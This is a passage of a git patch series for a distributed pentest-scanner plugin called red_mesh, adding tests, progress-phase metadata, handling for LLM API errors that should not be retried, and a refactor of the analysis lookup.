extensions/business/cybersec/red_mesh/tests/test_discovery.py extensions/business/cybersec/red_mesh/tests/test_safety.py +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest -q extensions/business/cybersec/red_mesh/tests/test_normalization.py extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py extensions/business/cybersec/red_mesh/tests/test_contracts.py +``` diff --git a/extensions/business/cybersec/red_mesh/tests/test_contracts.py b/extensions/business/cybersec/red_mesh/tests/test_contracts.py new file mode 100644 index 00000000..0c6d031a --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_contracts.py @@ -0,0 +1,108 @@ +import json +import unittest + +from extensions.business.cybersec.red_mesh.findings import Finding, Severity, probe_result +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.mixins.report import _ReportMixin +from extensions.business.cybersec.red_mesh.models.archive import JobArchive + + +class _ReportHost(_ReportMixin): + def P(self, *_args, **_kwargs): + return None + + def json_dumps(self, payload, **kwargs): + return json.dumps(payload, **kwargs) + + +class TestArchiveContracts(unittest.TestCase): + + def test_archive_roundtrip_preserves_version(self): + archive = JobArchive( + archive_version=1, + job_id="job-1", + job_config={"target": "example.com"}, + timeline=[], + passes=[{"pass_nr": 1, "risk_score": 10}], + ui_aggregate={"total_open_ports": [], "total_services": 0, "total_findings": 0}, + duration=1.0, + date_created=1.0, + date_completed=2.0, + ) + + payload = archive.to_dict() + restored = JobArchive.from_dict(payload) + + self.assertEqual(restored.archive_version, 1) + self.assertEqual(restored.to_dict(), payload) + + +class TestFindingContracts(unittest.TestCase): + + def test_network_probe_result_exposes_required_finding_shape(self): + finding = Finding( + severity=Severity.HIGH, + title="Weak TLS", + description="TLS config is weak", + evidence="TLS 1.0 enabled", + confidence="firm", + ) + + result = probe_result(findings=[finding]) + persisted = result["findings"][0] + + for key in ("severity", "title", "description", "evidence", "confidence"): + self.assertIn(key, persisted) + + def test_graybox_flat_finding_exposes_required_contract_fields(self): + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="IDOR", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + cwe=["CWE-639"], + evidence=["endpoint=/api/records/2", "status=200"], + ) + + flat = finding.to_flat_finding(port=443, protocol="https", probe_name="access_control") + + for key in ( + "finding_id", + "severity", + "title", + "description", + "evidence", + "confidence", + "port", + "protocol", + "probe", + "category", + "probe_type", + ): + self.assertIn(key, flat) + + +class TestAggregationContracts(unittest.TestCase): + + def test_aggregation_is_deterministic_under_worker_order_variation(self): + host = _ReportHost() + worker_a = { + "open_ports": [80], + "ports_scanned": [80], + "completed_tests": ["probe-a"], + "service_info": {"80": {"_service_info_http": {"findings": [{"title": "A"}]}}}, + } + worker_b = { + "open_ports": [443], + "ports_scanned": [443], + "completed_tests": ["probe-b"], + "service_info": {"443": {"_service_info_https": {"findings": [{"title": "B"}]}}}, + } + + first = host._get_aggregated_report({"worker-a": worker_a, "worker-b": worker_b}) + second = host._get_aggregated_report({"worker-b": worker_b, "worker-a": worker_a}) + + self.assertEqual(sorted(first["open_ports"]), sorted(second["open_ports"])) + self.assertEqual(first["service_info"], second["service_info"]) + self.assertEqual(set(first["completed_tests"]), set(second["completed_tests"])) diff --git a/extensions/business/cybersec/red_mesh/tests/test_regressions.py b/extensions/business/cybersec/red_mesh/tests/test_regressions.py new file mode 100644 index 00000000..5ae9badb --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_regressions.py @@ -0,0 +1,108 @@ +import json +import unittest +from unittest.mock import MagicMock + +from extensions.business.cybersec.red_mesh.services.resilience import run_bounded_retry +from extensions.business.cybersec.red_mesh.services.triage import _merge_triage_into_archive_dict + +from .conftest import mock_plugin_modules + + +class TestRegressionScenarios(unittest.TestCase): + + def _get_plugin_class(self): + mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_archive_retry_after_partial_failure(self): + """Bounded retry recovers a transient archive verification failure.""" + host = MagicMock() + host.P = MagicMock() + host._log_audit_event = MagicMock() + attempts = {"count": 0} + + def _operation(): + attempts["count"] += 1 + if attempts["count"] < 2: + return None + return {"job_id": "job-1"} + + result = run_bounded_retry( + host, + "archive_verify", + 3, + _operation, + is_success=lambda payload: isinstance(payload, dict) and payload.get("job_id") == "job-1", + ) + + self.assertEqual(result["job_id"], "job-1") + self.assertEqual(attempts["count"], 2) + host._log_audit_event.assert_any_call("retry_attempt", {"action": "archive_verify", "attempt": 1, "attempts": 3}) + + def test_stale_write_conflict_detection_regression(self): + """Revision mismatch still produces a stale-write audit event.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hget.return_value = {"job_id": "job-1", "job_revision": 5} + plugin.chainstore_hset = MagicMock() + plugin._log_audit_event = MagicMock() + plugin.P = MagicMock() + + updated = Plugin._write_job_record(plugin, "job-1", {"job_id": "job-1", "job_revision": 3}, context="regression") + + self.assertEqual(updated["job_revision"], 6) + plugin._log_audit_event.assert_called_once() + + def test_triage_merge_does_not_mutate_archive_source(self): + """Triage view merging must not rewrite the immutable archive payload.""" + archive = { + "job_id": "job-1", + "passes": [{"findings": [{"finding_id": "f-1", "title": "Issue"}]}], + "ui_aggregate": {"top_findings": [{"finding_id": "f-1", "title": "Issue"}]}, + } + triage_map = {"f-1": {"status": "accepted_risk"}} + + merged = _merge_triage_into_archive_dict(archive, triage_map) + + self.assertEqual(merged["passes"][0]["findings"][0]["triage"]["status"], "accepted_risk") + self.assertNotIn("triage", archive["passes"][0]["findings"][0]) + + def test_multi_node_completion_order_variance_keeps_archive_query_stable(self): + """Equivalent job listings should remain stable across completion-order variance.""" + Plugin = self._get_plugin_class() + jobs = { + "job-1": { + "job_id": "job-1", + "job_status": "RUNNING", + "job_pass": 2, + "run_mode": "SINGLEPASS", + "launcher": "node-a", + "launcher_alias": "node-a", + "target": "example.com", + "scan_type": "network", + "target_url": "", + "task_name": "Test", + "start_port": 1, + "end_port": 10, + "date_created": 1.0, + "job_config_cid": "QmConfig", + "workers": { + "node-a": {"finished": True}, + "node-b": {"finished": True}, + }, + "timeline": [], + "pass_reports": [{"pass_nr": 1, "report_cid": "Qm1"}, {"pass_nr": 2, "report_cid": "Qm2"}], + }, + } + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = jobs + plugin._normalize_job_record = MagicMock(side_effect=lambda key, value: (key, value)) + plugin._get_all_network_jobs = lambda: Plugin._get_all_network_jobs(plugin) + + first = Plugin.list_network_jobs(plugin) + second = Plugin.list_network_jobs(plugin) + + self.assertEqual(json.dumps(first, sort_keys=True), json.dumps(second, sort_keys=True)) From c9d7783536e484d21517735cbda3af2ba130037c Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 20:12:26 +0000 Subject: [PATCH 090/114] fix: harden redmesh live progress phase metadata --- .../cybersec/red_mesh/mixins/live_progress.py | 6 +++ .../cybersec/red_mesh/models/cstore.py | 6 +++ .../cybersec/red_mesh/pentester_api_01.py | 7 ++++ .../red_mesh/tests/test_integration.py | 39 +++++++++++++++++++ .../red_mesh/tests/test_repositories.py | 3 ++ 5 files changed, 61 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/mixins/live_progress.py b/extensions/business/cybersec/red_mesh/mixins/live_progress.py index 0668649b..b99f7336 100644 --- a/extensions/business/cybersec/red_mesh/mixins/live_progress.py +++ b/extensions/business/cybersec/red_mesh/mixins/live_progress.py @@ -203,8 +203,10 @@ def _publish_live_progress(self): # Determine phase order based on scan type (inspect first worker) first_worker = next(iter(local_workers.values())) if first_worker.state.get("scan_type") == "webapp": + scan_type = "webapp" phase_order = GRAYBOX_PHASE_ORDER else: + scan_type = "network" phase_order = PHASE_ORDER nr_phases = len(phase_order) @@ -242,6 +244,7 @@ def _publish_live_progress(self): phase_indices = [phase_order.index(p) if p in phase_order else nr_phases for p in thread_phases] min_phase_idx = min(phase_indices) if phase_indices else 0 phase = phase_order[min_phase_idx] if min_phase_idx < nr_phases else "done" + phase_index = nr_phases if phase == "done" else (min_phase_idx + 1 if phase in phase_order else 0) # Stage-based progress: completed_stages / total * 100 # During port_scan, add sub-progress based on ports scanned @@ -265,6 +268,9 @@ def _publish_live_progress(self): pass_nr=pass_nr, progress=progress_pct, phase=phase, + scan_type=scan_type, + phase_index=phase_index, + total_phases=nr_phases, ports_scanned=total_scanned, ports_total=total_ports, open_ports_found=sorted(all_open), diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index 6c38d0c1..be480175 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -195,6 +195,9 @@ class WorkerProgress: open_ports_found: list # [int] — discovered so far completed_tests: list # [str] — which probes finished updated_at: float # unix timestamp + scan_type: str = "network" # network | webapp + phase_index: int = 0 # 1-based current stage index; 0 when unknown + total_phases: int = 0 # number of stages in the active phase family live_metrics: dict = None # ScanMetrics.to_dict() — partial snapshot, progressively fills in threads: dict = None # {thread_id: {phase, ports_scanned, ports_total, open_ports_found}} @@ -209,6 +212,9 @@ def from_dict(cls, d: dict) -> WorkerProgress: pass_nr=d.get("pass_nr", 1), progress=d.get("progress", 0), phase=d.get("phase", ""), + scan_type=d.get("scan_type", "network"), + phase_index=d.get("phase_index", 0), + total_phases=d.get("total_phases", 0), ports_scanned=d.get("ports_scanned", 0), ports_total=d.get("ports_total", 0), open_ports_found=d.get("open_ports_found", []), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index e8fd2257..63c7cfcd 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -900,18 +900,25 @@ def _close_job(self, job_id, canceled=False): total_scanned = 0 total_ports = 0 all_open = set() + scan_type = "network" for w in local_workers_pre.values(): total_scanned += len(w.state.get("ports_scanned", [])) total_ports += len(w.initial_ports) all_open.update(w.state.get("open_ports", [])) + if w.state.get("scan_type") == "webapp": + scan_type = "webapp" job_specs_pre = PentesterApi01Plugin._get_job_state_repository(self).get_job(job_id) pass_nr = job_specs_pre.get("job_pass", 1) if isinstance(job_specs_pre, dict) else 1 + total_phases = 5 done_progress = WorkerProgress( job_id=job_id, worker_addr=self.ee_addr, pass_nr=pass_nr, progress=100.0, phase="done", + scan_type=scan_type, + phase_index=total_phases, + total_phases=total_phases, ports_scanned=total_scanned, ports_total=total_ports, open_ports_found=sorted(all_open), diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index bf6a1ae9..720151ab 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -30,6 +30,9 @@ def test_worker_progress_model_roundtrip(self): pass_nr=2, progress=45.5, phase="service_probes", + scan_type="network", + phase_index=3, + total_phases=5, ports_scanned=500, ports_total=1024, open_ports_found=[22, 80, 443], @@ -44,6 +47,9 @@ def test_worker_progress_model_roundtrip(self): self.assertEqual(wp2.pass_nr, 2) self.assertAlmostEqual(wp2.progress, 45.5) self.assertEqual(wp2.phase, "service_probes") + self.assertEqual(wp2.scan_type, "network") + self.assertEqual(wp2.phase_index, 3) + self.assertEqual(wp2.total_phases, 5) self.assertEqual(wp2.ports_scanned, 500) self.assertEqual(wp2.ports_total, 1024) self.assertEqual(wp2.open_ports_found, [22, 80, 443]) @@ -123,6 +129,9 @@ def test_publish_live_progress(self): self.assertEqual(progress_data["worker_addr"], "node-A") self.assertEqual(progress_data["pass_nr"], 3) self.assertEqual(progress_data["phase"], "service_probes") + self.assertEqual(progress_data["scan_type"], "network") + self.assertEqual(progress_data["phase_index"], 3) + self.assertEqual(progress_data["total_phases"], 5) self.assertEqual(progress_data["ports_scanned"], 100) self.assertEqual(progress_data["ports_total"], 512) self.assertIn(22, progress_data["open_ports_found"]) @@ -273,6 +282,36 @@ def test_publish_live_progress_multi_thread_phase(self): self.assertEqual(progress_data["threads"]["t2"]["ports_scanned"], 50) self.assertEqual(progress_data["threads"]["t2"]["ports_total"], 256) + def test_publish_live_progress_webapp_phase_metadata(self): + """Graybox live progress publishes explicit scan_type and phase metadata.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + + worker = MagicMock() + worker.state = { + "scan_type": "webapp", + "ports_scanned": [443], + "open_ports": [443], + "completed_tests": ["graybox_auth", "graybox_discovery"], + "done": False, + } + worker.initial_ports = [443] + + plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} + plugin.chainstore_hget.return_value = {"job_pass": 2} + + Plugin._publish_live_progress(plugin) + + progress_data = plugin.chainstore_hset.call_args.kwargs["value"] + self.assertEqual(progress_data["scan_type"], "webapp") + self.assertEqual(progress_data["phase"], "graybox_probes") + self.assertEqual(progress_data["phase_index"], 4) + self.assertEqual(progress_data["total_phases"], 5) + def test_clear_live_progress(self): """_clear_live_progress deletes progress keys for all workers.""" Plugin = self._get_plugin_class() diff --git a/extensions/business/cybersec/red_mesh/tests/test_repositories.py b/extensions/business/cybersec/red_mesh/tests/test_repositories.py index 94d2b014..c12aef64 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_repositories.py +++ b/extensions/business/cybersec/red_mesh/tests/test_repositories.py @@ -69,6 +69,9 @@ def test_job_state_repository_supports_typed_live_progress(self): pass_nr=1, progress=25.0, phase="port_scan", + scan_type="network", + phase_index=1, + total_phases=5, ports_scanned=10, ports_total=40, open_ports_found=[22], From 57bf5ca657e5d91a4425ccc53d359d16e7f0a306 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 20:22:49 +0000 Subject: [PATCH 091/114] fix: harden redmesh llm failure handling --- .../cybersec/red_mesh/mixins/llm_agent.py | 80 ++++++++++++++++++- .../red_mesh/services/finalization.py | 9 ++- .../cybersec/red_mesh/tests/test_api.py | 36 +++++++++ .../cybersec/red_mesh/tests/test_hardening.py | 44 ++++++++++ 4 files changed, 165 insertions(+), 4 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 5c4f8bc0..118982d4 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -15,6 +15,9 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): from ..constants import RUN_MODE_SINGLEPASS from ..services.resilience import run_bounded_retry +_NON_RETRYABLE_HTTP_STATUSES = {400, 401, 403, 404, 409, 410, 413, 422} +_NON_RETRYABLE_PROVIDER_STATUSES = _NON_RETRYABLE_HTTP_STATUSES + class _RedMeshLlmAgentMixin(object): """ @@ -82,6 +85,44 @@ def _get_llm_agent_api_url(self, endpoint: str) -> str: endpoint = endpoint.lstrip("/") return f"http://{host}:{port}/{endpoint}" + def _extract_provider_http_status(self, error_details) -> int | None: + """Best-effort extraction of an upstream provider HTTP status from error details.""" + if isinstance(error_details, dict): + for key in ("status_code", "http_status", "provider_status"): + value = error_details.get(key) + if isinstance(value, int): + return value + detail = error_details.get("detail") or error_details.get("error") + if isinstance(detail, str): + return self._extract_provider_http_status(detail) + + if isinstance(error_details, str): + marker = "status " + if marker in error_details: + tail = error_details.split(marker, 1)[1] + digits = "".join(ch for ch in tail if ch.isdigit()) + if digits: + try: + return int(digits) + except ValueError: + return None + return None + + def _is_non_retryable_llm_error(self, result: dict | None) -> bool: + """Return True when an LLM/API error is permanent and retrying is wasteful.""" + if not isinstance(result, dict) or "error" not in result: + return False + + http_status = result.get("http_status") + if isinstance(http_status, int) and http_status in _NON_RETRYABLE_HTTP_STATUSES: + return True + + provider_status = result.get("provider_status") + if isinstance(provider_status, int) and provider_status in _NON_RETRYABLE_PROVIDER_STATUSES: + return True + + return result.get("status") in {"api_request_error", "provider_request_error"} + def _call_llm_agent_api( self, endpoint: str, @@ -132,10 +173,30 @@ def _attempt(): ) if response.status_code != 200: - return { + details = response.text + try: + details = response.json() + except Exception: + pass + + result = { "error": f"LLM Agent API returned status {response.status_code}", "status": "api_error", - "details": response.text + "details": details, + "http_status": response.status_code, + } + if response.status_code in _NON_RETRYABLE_HTTP_STATUSES: + result["status"] = "api_request_error" + + provider_status = self._extract_provider_http_status(details) + if provider_status is not None: + result["provider_status"] = provider_status + if provider_status in _NON_RETRYABLE_PROVIDER_STATUSES: + result["status"] = "provider_request_error" + + return { + **result, + "retryable": not self._is_non_retryable_llm_error(result), } # Unwrap response if FastAPI wrapped it (extract 'result' from envelope) @@ -145,7 +206,11 @@ def _attempt(): return response_data def _is_success(response_data): - return isinstance(response_data, dict) and "error" not in response_data + if not isinstance(response_data, dict): + return False + if "error" not in response_data: + return True + return self._is_non_retryable_llm_error(response_data) try: result = run_bounded_retry(self, "llm_agent_api", retries, _attempt, is_success=_is_success) @@ -165,6 +230,13 @@ def _is_success(response_data): self.P(f"LLM Agent API not reachable at {url}", color='y') elif status == "timeout": self.P("LLM Agent API request timed out", color='y') + elif self._is_non_retryable_llm_error(result): + provider_status = result.get("provider_status") + detail = result.get("details") + suffix = f" (provider_status={provider_status})" if provider_status else "" + self.P(f"LLM Agent API request rejected{suffix}: {result.get('error')}", color='y') + if detail: + self.Pd(f"LLM Agent API rejection details: {detail}") else: self.P(f"LLM Agent API call failed: {result.get('error')}", color='y') return result @@ -312,6 +384,7 @@ def _run_aggregated_llm_analysis( # Call LLM analysis llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target, scan_type=scan_type) + self._last_llm_analysis_status = llm_analysis.get("status") if isinstance(llm_analysis, dict) else None if not llm_analysis or "error" in llm_analysis: self.P( @@ -390,6 +463,7 @@ def _run_quick_summary_analysis( "focus_areas": None, } ) + self._last_llm_summary_status = analysis_result.get("status") if isinstance(analysis_result, dict) else None if not analysis_result or "error" in analysis_result: self.P( diff --git a/extensions/business/cybersec/red_mesh/services/finalization.py b/extensions/business/cybersec/red_mesh/services/finalization.py index 1eb0ab14..a3354ea5 100644 --- a/extensions/business/cybersec/red_mesh/services/finalization.py +++ b/extensions/business/cybersec/red_mesh/services/finalization.py @@ -101,7 +101,14 @@ def maybe_finalize_pass(owner): set_job_status(job_specs, JOB_STATUS_ANALYZING) job_specs = _write_job_record(owner, job_key, job_specs, context="finalize_analyzing") llm_text = owner._run_aggregated_llm_analysis(job_id, aggregated, job_config) - summary_text = owner._run_quick_summary_analysis(job_id, aggregated, job_config) + llm_status = getattr(owner, "_last_llm_analysis_status", None) + if llm_status in {"api_request_error", "provider_request_error"}: + owner.P( + f"Skipping quick summary for job {job_id} after non-retryable LLM failure ({llm_status})", + color='y' + ) + else: + summary_text = owner._run_quick_summary_analysis(job_id, aggregated, job_config) llm_failed = True if (owner.cfg_llm_agent_api_enabled and (llm_text is None or summary_text is None)) else None if llm_failed: diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 54aacca7..db25fd18 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -1111,6 +1111,42 @@ def test_llm_failure_flag_and_timeline(self): meta = call_kwargs.get("meta", {}) self.assertIn("pass_nr", meta) + def test_non_retryable_llm_failure_skips_quick_summary(self): + """Permanent LLM request failures should not retry through quick summary.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(llm_enabled=True) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + plugin.P = MagicMock() + plugin._last_llm_analysis_status = None + + def _fail_main(*_args, **_kwargs): + plugin._last_llm_analysis_status = "provider_request_error" + return None + + plugin._run_aggregated_llm_analysis = MagicMock(side_effect=_fail_main) + plugin._run_quick_summary_analysis = MagicMock(return_value=None) + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + plugin._run_quick_summary_analysis.assert_not_called() + plugin.P.assert_any_call( + f"Skipping quick summary for job {job_specs['job_id']} after non-retryable LLM failure (provider_request_error)", + color='y' + ) + def test_aggregated_report_write_failure(self): """R1FS fails for aggregated → pass finalization skipped, no partial state.""" PentesterApi01Plugin = self._get_plugin_class() diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index a9d35620..cecacea3 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -137,6 +137,50 @@ def flaky_post(*_args, **_kwargs): self.assertEqual(result["analysis"], "ok") self.assertEqual(calls["count"], 2) + def test_call_llm_agent_api_does_not_retry_non_retryable_provider_rejection(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent_api_enabled = True + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + self.cfg_llm_agent_api_timeout = 5 + self.cfg_llm_api_retries = 2 + + def P(self, *_args, **_kwargs): + return None + + def Pd(self, *_args, **_kwargs): + return None + + class Response: + status_code = 500 + text = '{"detail":"DeepSeek API returned status 400"}' + + @staticmethod + def json(): + return {"detail": "DeepSeek API returned status 400"} + + host = MockHost() + original_post = requests.post + calls = {"count": 0} + + def rejected_post(*_args, **_kwargs): + calls["count"] += 1 + return Response() + + requests.post = rejected_post + try: + result = host._call_llm_agent_api("/analyze_scan", payload={"scan_results": {}}) + finally: + requests.post = original_post + + self.assertEqual(calls["count"], 1) + self.assertEqual(result["status"], "provider_request_error") + self.assertEqual(result["provider_status"], 400) + self.assertFalse(result["retryable"]) + class TestAuditLogHardening(unittest.TestCase): From 5eb70ceefad9c3bb014cb3278868f2678e9de874 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 20:36:00 +0000 Subject: [PATCH 092/114] fix: preserve pass reports during finalization --- .../red_mesh/services/finalization.py | 8 ++--- .../cybersec/red_mesh/tests/test_api.py | 30 +++++++++++++++++++ 2 files changed, 34 insertions(+), 4 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/services/finalization.py b/extensions/business/cybersec/red_mesh/services/finalization.py index a3354ea5..58c293fd 100644 --- a/extensions/business/cybersec/red_mesh/services/finalization.py +++ b/extensions/business/cybersec/red_mesh/services/finalization.py @@ -64,10 +64,8 @@ def maybe_finalize_pass(owner): next_pass_at = job_specs.get("next_pass_at") job_pass = job_specs.get("job_pass", 1) job_id = job_specs.get("job_id") - pass_reports = job_specs.setdefault("pass_reports", []) - if is_terminal_job_status(job_status): - if not job_specs.get("job_cid") and pass_reports: + if not job_specs.get("job_cid") and job_specs.get("pass_reports"): owner.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') owner._build_job_archive(job_id, job_specs) continue @@ -214,7 +212,9 @@ def maybe_finalize_pass(owner): owner.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') continue - pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) + job_specs.setdefault("pass_reports", []).append( + PassReportRef(job_pass, pass_report_cid, risk_score).to_dict() + ) set_job_status(job_specs, JOB_STATUS_FINALIZING) job_specs = _write_job_record(owner, job_key, job_specs, context="finalize_finalizing") diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index db25fd18..bd1d9977 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -1147,6 +1147,36 @@ def _fail_main(*_args, **_kwargs): color='y' ) + def test_pass_reports_survive_typed_job_record_rewrites(self): + """Pass reports must stay attached after typed repository rewrites the job dict.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + job_specs["scan_type"] = "network" + job_specs["target_url"] = "" + plugin.chainstore_hget.return_value = job_specs + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "scan_type": "network"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + plugin._build_job_archive = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + self.assertEqual(len(job_specs["pass_reports"]), 1) + self.assertEqual(job_specs["pass_reports"][0]["pass_nr"], 1) + archived_job_specs = plugin._build_job_archive.call_args[0][1] + self.assertEqual(len(archived_job_specs["pass_reports"]), 1) + def test_aggregated_report_write_failure(self): """R1FS fails for aggregated → pass finalization skipped, no partial state.""" PentesterApi01Plugin = self._get_plugin_class() From d93331293635bcf57c2421a4e3c97e3087d256d8 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 09:40:09 +0000 Subject: [PATCH 093/114] fix: llm analysis generation --- .../cybersec/red_mesh/pentester_api_01.py | 80 +---------- .../cybersec/red_mesh/services/__init__.py | 2 + .../cybersec/red_mesh/services/query.py | 133 ++++++++++++++++++ .../cybersec/red_mesh/tests/test_api.py | 88 ++++++++++++ 4 files changed, 225 insertions(+), 78 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 63c7cfcd..9df1ce42 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -72,6 +72,7 @@ announce_launch, build_network_workers, build_webapp_workers, + get_job_analysis, coerce_scan_type, get_job_archive, get_job_triage, @@ -2024,84 +2025,7 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): dict LLM analysis data or error message. """ - # If CID provided directly, fetch it - if cid: - try: - analysis = self.r1fs.get_json(cid) - if analysis is None: - return {"error": "Analysis not found", "cid": cid} - return {"cid": cid, "analysis": analysis} - except Exception as e: - return {"error": str(e), "cid": cid} - - # Otherwise, look up by job_id - if not job_id: - return {"error": "Either job_id or cid must be provided"} - - job_specs = self._get_job_from_cstore(job_id) - if not job_specs: - return {"error": "Job not found", "job_id": job_id} - - # Look for analysis in pass_reports - pass_reports = job_specs.get("pass_reports", []) - job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) - - if not pass_reports: - if job_status == JOB_STATUS_RUNNING: - return {"error": "Job still running, no passes completed yet", "job_id": job_id, "job_status": job_status} - return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} - - # Find the requested pass (or latest if not specified) - target_pass = None - if pass_nr is not None: - for entry in pass_reports: - if entry.get("pass_nr") == pass_nr: - target_pass = entry - break - if not target_pass: - return {"error": f"Pass {pass_nr} not found in history", "job_id": job_id, "available_passes": [e.get("pass_nr") for e in pass_reports]} - else: - # Get the latest pass - target_pass = pass_reports[-1] - - # Fetch the PassReport from R1FS to get inline LLM analysis - report_cid = target_pass.get("report_cid") - if not report_cid: - return { - "error": "No pass report CID available for this pass", - "job_id": job_id, - "pass_nr": target_pass.get("pass_nr"), - "job_status": job_status - } - - try: - pass_data = self.r1fs.get_json(report_cid) - if pass_data is None: - return {"error": "Pass report not found in R1FS", "cid": report_cid, "job_id": job_id} - - llm_analysis = pass_data.get("llm_analysis") - if not llm_analysis: - return { - "error": "No LLM analysis available for this pass", - "job_id": job_id, - "pass_nr": target_pass.get("pass_nr"), - "llm_failed": pass_data.get("llm_failed", False), - "job_status": job_status - } - - return { - "job_id": job_id, - "pass_nr": target_pass.get("pass_nr"), - "completed_at": pass_data.get("date_completed"), - "report_cid": report_cid, - "target": job_specs.get("target"), - "num_workers": len(job_specs.get("workers", {})), - "total_passes": len(pass_reports), - "analysis": llm_analysis, - "quick_summary": pass_data.get("quick_summary"), - } - except Exception as e: - return {"error": str(e), "cid": report_cid, "job_id": job_id} + return get_job_analysis(self, job_id=job_id, cid=cid, pass_nr=pass_nr) @BasePlugin.endpoint diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 969bab70..52bd8e2c 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -19,6 +19,7 @@ validation_error, ) from .query import ( + get_job_analysis, get_job_archive, get_job_data, get_job_progress, @@ -61,6 +62,7 